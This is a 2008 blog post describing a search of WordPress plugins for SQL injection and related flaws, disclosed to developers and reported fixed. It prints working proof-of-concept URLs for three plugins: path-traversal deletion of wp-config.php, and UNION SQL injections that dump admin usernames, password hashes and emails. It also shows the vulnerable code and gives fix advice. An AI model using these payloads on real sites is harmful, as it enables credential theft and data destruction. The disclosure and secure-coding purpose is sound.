Tag Archives: SQL Injection

Spotting vulnerabilities of plugins on WordPress Extend

This is first time I trid to find vulnerability of a software, and this is a one-time project (spending too much time to spot). I use WordPress 2.3.3 to test. I exported all plugins from WordPress Extend Plugin repository at 2008-02-05 08:00 to 10:49 and revisions were from r30828 to r30834, 2650 plugins directories.

It’s impossible to check them one by one and I am not a security expert, so I only did

grep -nr "\$wpdb.*\$_GET" * > wpdb-GET.txt

as well as POST, REQUEST and fopen. I think I may not check them all and I only check those are working (some have bugs) and quite new plugins (have updates after 2007) . After I finish GET, I may skip to check fopen.

You probably think I will miss a lot possibilities of vulnerabilities. Yes, the plugin developers may retrieve form data before querying a SQL statement. I can’t check all, if you have time, please check plugins which you are using on you blog and tell me what you find.

Currently I am checking GET and I was planning to finish it before posting this, however the first plugin I spotted a vulnerability has around 100 downloads a day. So I decided to keep updating this post when I get something (Hope I won’t get something in my own plugins).

Few hours past, I still didn’t spot new one. So I will keep an eye on Recently Updated plugins and this becomes an on-going project.

Got my mail?

If you get my mail about you plugins, please check the testing data and secure your plugin. Please must inform me as soon as you fixed the security holes. I will wait at least one week before I release testing data. If I make any mistake to mis-test your plugin, please let me know and I am so sorry.

Suggestions

  • Secure SQL statement:
    • Must validate all form data before put them into SQL statement. For example, (int), intval(), is_numeric(), etc.
    • Use $wpdb->escape() to wrapping form data, this function will encode "\\;$%20.',//_/**/+\"- --" into "\\\\;$%20.\\',//_/**/+\\"- --".
    • $wpdb->prepare() is a better way to query
  • Always check privilege of users for actions that need higher level permissions
  • Remove irrelevant files from repository: such as .cache, .hg, etc
  • Don’t let blog owner install files that won’t be used: such as readme.txt, screenshots

Spotted plugins

Currently found 3 plugins with vulnerabilities. Detail testing data will be released as soon as plugins get fixed, or at least one week later after spotted.

lenky-related-links 1.0.2 – Fixed on Feb 12, 2008 in version 1.0.3

Spotted at 2008-02-11T09:02:34+0800. Informed at 2008-02-11T09:07:45+0800 via contact form. As of 2008-02-11T09:02:39+0800, lenky-related-links has 4 downloads.

File deletion

http://test.dfed/wp/wp-content/plugins/lenkyex/cache_del.php?f=../../../../wp-config.php

statpress 1.2.3 – Fixed on Feb 10, 2008 in version 1.2.4

Spotted at 2008-02-06T23:21:21+0800. Informed at 2008-02-07T00:42:49+0800 via contact form. As of 2008-02-06T23:46:52+0800, statpress has 20,631 downloads

No user privilege checking when exporting data

http://test.dfed/wp/wp-admin/index.php?page=statpress&statpress_action=exportnow&from=20080101&to=20080301

Cause – L12 at statpress.php:

if ($_GET['statpress_action'] == 'exportnow') {
    iriStatPressExportNow();
}

This makes a global hole meaning you should be able to export at almost every blog page. Just move this block of code to admin page hooked function shall patch this hole.

SQL Injection

http://test.dfed/wp/wp-admin/index.php?page=statpress&statpress_action=exportnow&from=20080101&to=20080301'%20union%20select%202,concat(user_login,0x2f,user_pass,0x2f,user_email),3,4,5,6,7,8,9,10,11,12,13,14,15,16%20from%20wp_users%20where%20id=1%20and%20id!='

You can remove id=1%20and%20 in order to export all account hash passwords.

Sample of export data:

date;time;ip;urlrequested;agent;referrer;search;nation;os;browser;searchengine;spider;feed
"20080206";"22:49:38";"192.168.1.12";"/wp/";"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.10) Gecko/20071213 Fedora/2.0.0.10-3.fc8 Firefox/2.0.0.10";"";"";"";"Linux";"Firefox 2";"";"";""
"admin/202cb962ac59075b964b07152d234b70/admin@gmail.com";"3";"4";"5";"6";"7";"8";"9";"10";"11";"12";"13";"14"

Cause – same as previous hole with:

function iriStatPressExportNow() {
    global $wpdb;
    $table_name = $wpdb->prefix . "statpress";
    $filename=get_bloginfo('title' )."-statpress_".$_GET['from']."-".$_GET['to'].".csv";
    header('Content-Description: File Transfer');
    header("Content-Disposition: attachment; filename=$filename");
    header('Content-Type: text/plain charset=' . get_option('blog_charset'), true);
    $qry = $wpdb->get_results("SELECT * FROM $table_name WHERE date>='".$_GET['from']."' AND date<='".$_GET&#91;'to'&#93;."';");
&#91;/code&#93;
Validate both <code>$_GET['form']</code> and <code>$_GET['to']</code> to fix.


<h3><a href="http://wordpress.org/extend/plugins/wp-photo-album/">wp-photo-album</a> 1.0 -  Fixed at Feb 7, 2008 6:38 PM in version 1.1</h3>
Spotted at 2008-02-07T02:57:02+0800. Informed at 2008-02-07T03:02:56+0800 via email As of 2008-02-07T02:58:35+0800 wppa has 83 downloads.
<h4>SQL Injection</h4>
<pre>http://test.dfed/wp/?page_id=3&amp;album=1&amp;photo=123456789%20union%20select%20concat(user_login,0x2f,user_pass,0x2f,user_email)%20from%20wp_users%20where%20id=1</pre>
Where <code>photo=123456789</code> is a non-exist photo.

You will get something like
<pre>admin/202cb962ac59075b964b07152d234b70/admin@gmail.com</pre>

Cause - L1001 at <code>wppa.php</code>:
// get the name of a full sized image
function wppa_photo_name($id = '', $return = FALSE) {
    global $wpdb;
    if ($id == '') { $id = $_GET['photo']; }
    $name = $wpdb->get_var("SELECT name FROM " . PHOTO_TABLE . " WHERE id=$id");

Related Posts

Design a site like this with WordPress.com
Get started